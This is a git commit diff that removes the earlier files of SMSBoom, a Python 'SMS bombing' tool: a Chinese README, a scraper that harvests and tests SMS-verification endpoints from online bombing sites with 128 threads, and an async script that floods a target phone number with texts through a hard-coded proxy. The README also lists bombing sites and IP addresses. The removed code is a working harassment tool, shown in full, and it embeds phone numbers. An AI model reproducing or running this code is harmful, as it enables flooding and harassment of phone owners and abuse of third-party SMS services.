🎉 init: Remake SMSBoom

This commit is contained in:
AdminWhaleFall
2022-04-03 10:59:57 +08:00
parent 76bf515723
commit fa3697aeb4
8 changed files with 0 additions and 474 deletions

134
.gitignore vendored
View File

@@ -1,134 +0,0 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
# *.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# 忽略子文件中的
**/__pycache__
*.pyc
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
__pycache__

102
README.md
View File

@@ -1,102 +0,0 @@
<!--
* @Author: whalefall
* @Date: 2021-08-10 11:41:34
* @LastEditTime: 2021-08-10 14:23:14
* @Description:
-->
# 短信轰炸 Python 程序(包含1000+有效接口)
## 前言
- 这是一个爬取网络上**在线轰炸的接口**,后通过 **Python 异步** 请求接口以达到 **手机短信轰炸** 的目的。
- 此为**开源项目**,仅供**娱乐学习使用**,使用者所带来的**一切后果**与**作者无关**,使用**请遵守相关的法律法规****合理使用,请勿滥用**。
## 食用方法
### 1. 爬取接口
- 寻找网上形如:[http://www.sss.pet/](http://www.sss.pet/) 的**在线轰炸网站**
![轰炸网站实例](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810115304.png)
- 输入手机号并**启动轰炸**,这时会刷新界面,观察**构造出来的地址**。
![轰炸网站地址](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810115635.png)
> 可以**发现**地址从:
>
> > ```ini
> > http://www.sss.pet/
> > ```
>
> **变成了**
>
> > ```ini
> > http://www.sss.pet/index.php?hm={手机号码}&ok=
> > ```
- 修改 `main.py` 文件
![实例化SMS对象参数](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810120405.png)
![实例化并运行](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810120700.png)
在函数入口实例化**SMS**对象此对象要传入一个主网站url和url后面的参数keykey中的手机号用`{SMS.default_phone}`代替。
![非常规](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810133201.png)
> 例如上图一个**非常规 Key** 的网站。
调用**SMS对象**的`main()`方法即可多线程校验接口。
调用**SMS对象**的`get_sms_api()`即可查看调试网址接口总数。
![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810122404.png)
前面**注释**的网址**我都校验过了**,大家都不用再校验了【狗头】
- **运行过程**
1. 运行后会先请求轰炸网站正则**获取其接口**API。
2. 把获取到的接口Put到检验队列。
3. Put完队列后启动**多线程校验**,如果请求接口的**HTTP状态码为200**就写入到**sqlite3数据库**,数据库文件在项目目录下的`data.db`
> 注意HTTP状态码为200的**不一定是有用**的接口**(好多都不能用的,敲!)**不过HTTP状态码不正常或者无法访问的**一定是不可以用的**。
>
> > **目前只想到这一种检验接口的方法**。
> 支持**数据库自动去重**,不用担心数据重复问题。
4. **2021.8.10** 我已经校验了1113个接口**不重复**)到 `data.db` 大家可以直接使用(看下面)
### 2. 启动异步轰炸
- 修改`boom.py`下的手机号启动轰炸异步请求。
![修改手机号轰炸](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810132221.png)
- **2021.8.10** 亲测:
**在5分钟内发了29条短信。**
![img](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20210810133449.jpg)
## Todo
- [ ] 🎈允许添加自定义接口`json`格式,自定义请求头、方法、内容。
- [ ] 🎈优化数据库结构,兼容自定义接口。
- [ ] 🎈添加多线程、异步两种轰炸方式。
- [ ] 🎈添加GUI页面方便操作。
- [ ] 🎈用`Flask`做个轰炸API支持异步返回调用。
- [ ] .....未完待续......
### 欢迎提出`issue`🤔以便开发者完善也欢迎大佬们Pr完善此项目。
> PS开发者目前初三🐣写的垃圾代码还请大佬们多多指教。😘
## 😡禁止用于非法用途😡
## 😾使用者造成的一切法律后果与本人无关😾

39
bomb.py
View File

@@ -1,39 +0,0 @@
#!/usr/bin/python python3
# coding=utf-8
'''
Author: whalefall
Date: 2021-08-07 21:23:35
LastEditTime: 2021-08-30 11:54:39
Description: 异步轰炸
'''
import httpx
import asyncio
from utils.db_sqlite import Sql
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
}
async def get(url, session: httpx.AsyncClient):
'''异步请求'''
print(f"开始请求{url}")
try:
# resp = session.get(url, headers=header)
status = await session.get(url, headers=header)
print(status.text)
except Exception as e:
print(f'请求失败{url}.{e}')
async def main():
urls = Sql().select()
tasks = []
async with httpx.AsyncClient(timeout=8,proxies={"all://":"http://120.52.73.44:18080"}) as session:
for url in urls:
url = url.replace("{phone}", "19820294268")
task = asyncio.create_task(get(url, session))
tasks.append(task)
await asyncio.wait(tasks)
if __name__ == "__main__":
asyncio.run(main())

Binary file not shown.

View File

121
main.py
View File

@@ -1,121 +0,0 @@
#!/usr/bin/python python3
# coding=utf-8
'''
Author: whalefall
Date: 2021-08-07 14:15:50
LastEditTime: 2021-08-30 12:01:20
Description: 短信测压接口测试平台,测试200状态码的接口,不一定可用
'''
import threading
import queue
from utils.db_sqlite import Sql
import re
import requests
import urllib3
urllib3.disable_warnings()
class SMS(object):
# 默认的请求密钥
default_phone = "15019682928"
key_default = f"?hm={default_phone}&ok="
def __init__(self, website, key=key_default) -> None:
self.url = website
self.header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
}
self.key = key
self.api_queue = queue.Queue()
self.db = Sql()
self.lock = threading.Lock()
def get_sms_api(self):
'''请求短信轰炸平台'''
with requests.session() as ses:
ses.get(self.url, headers=self.header,verify=False)
resp = ses.get(f"{self.url}{self.key}", headers=self.header)
# print(resp.text)
pat = re.compile(r"<img src='(.*?)' alt=''/>")
apis = pat.findall(resp.text)
assert not apis == [], "未找到任何接口!"
print("获取到的原始接口总数:%s" % (len(apis)))
# 需要进行预处理
for api in apis:
# if ("https://" or "http://") not in api:
# continue
# 排除接口中没有电话号码的网址
if SMS.default_phone not in api:
continue
# 网址处理
api = api.strip().replace(" ", "").replace(
SMS.default_phone, "{phone}")
# print(api)
self.api_queue.put(api)
print("Put到队列的接口总数:%s" % (self.api_queue.qsize()))
def check_theads(self):
'''多线程检查可用性'''
while True:
if self.api_queue.empty():
print(f"线程{threading.current_thread().name}结束")
break
api = self.api_queue.get()
try:
with requests.get(api.replace("{phone}", SMS.default_phone), headers=self.header, timeout=20, verify=False) as resp:
if resp.status_code == 200:
print(f'线程{threading.current_thread().name}:[SUC]校验成功!队列数:{str(self.api_queue.qsize())}')
with self.lock:
# 多线程写sqlite数据库要加锁
r = self.db.update(api)
if r:
print(
f"线程{threading.current_thread().name}:已添加{api} 队列数:{str(self.api_queue.qsize())}")
except Exception as e:
print(
f"线程{threading.current_thread().name}出错 队列数:{str(self.api_queue.qsize())}")
pass
finally:
self.api_queue.task_done()
def main(self):
self.get_sms_api()
# 在此设置线程数 int 类型
threads_count = 128
threads = [
threading.Thread(target=self.check_theads, name=f"Theads-{i}")
for i in range(1, threads_count+1)
]
for thread in threads:
thread.start()
if __name__ == '__main__':
# 轰炸平台
# http://www.sss.pet/
# http://qazwd.top
# http://www.yxdhma.cn
# http://hz.7qi.me/index.php?0pcall={SMS.default_phone}&ok=
# http://hzz.yunceng.top/index.php
# https://97sq.com/dx/index.php
# https://y06.top/index.php
# http://8.210.210.197:5678/index.php
# https://120.77.244.209/sdlz/yh.php
# http://103.116.46.190/index.php?
# http://120.26.174.82:85/index.php?
# http://2hz.xyz/index.php?dnm=15019872239&ok=
# http://42.193.114.190:1234/index.php?
# http://47.119.139.230/index.php
# https://hz.79g.cn/index.php?
# 实例: http://hz.7qi.me/index.php?0pcall={SMS.default_phone}&ok=
# https://hz.79g.cn/index.php?0pcall=15019682928&ok=
url = "https://hz.79g.cn/index.php"
# 0pcall=15019682928&c=1 需要加f格式化字符串
spider = SMS(url, key=f'?0pcall={SMS.default_phone}&ok=')
# url = 'https://120.77.244.209/sdlz/yh.php'
# spider = SMS(url)
spider.main()

View File

@@ -1,3 +0,0 @@
requests==2.24.0
aiohttp==3.7.3
pathlib

View File

@@ -1,75 +0,0 @@
#!/usr/bin/python python3
# coding=utf-8
'''
Author: whalefall
Date: 2021-08-07 14:59:08
LastEditTime: 2021-08-30 11:55:18
Description: python操作数据库
'''
import sqlite3
from pathlib import Path
class Sql(object):
def __init__(self) -> None:
'''初始化数据库'''
# 数据库路径
db_path = Path.cwd().joinpath("db", "data.db")
# 连接数据库,不检查是否在同一个路径.
self.client = sqlite3.connect(
db_path, timeout=6, check_same_thread=False)
self.cursor = self.client.cursor()
self.newTable()
def newTable(self):
'''初始化表结构'''
sql = '''
CREATE TABLE IF NOT EXISTS API200 (
id INT NULL,
url TEXT NOT NULL,
primary key (url)
);
'''
self.cursor.execute(sql)
self.client.commit()
def update(self, url):
'''插入数据'''
sql = '''
INSERT INTO API200 (ID,url) VALUES (null,?)
'''
try:
self.cursor.execute(sql, (url,))
self.client.commit()
return True
except sqlite3.IntegrityError:
# print(f"{url} 数据重复!")
return False
def select(self) -> list:
'''获取所有接口'''
sql = '''
SELECT url FROM API200;
'''
try:
self.cursor.execute(sql)
result = self.cursor.fetchall()
# print(result)
urls = []
for url in result:
urls.append(url[0])
return urls
except Exception as e:
print('读取出现错误!', e)
def __del__(self) -> None:
'''对象被删除时执行的函数'''
print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......")
self.client.close()
if __name__ == "__main__":
s = Sql()
s.update("SWDWQ")
print(s.select())
# print(Path.cwd().joinpath("db","data.db"))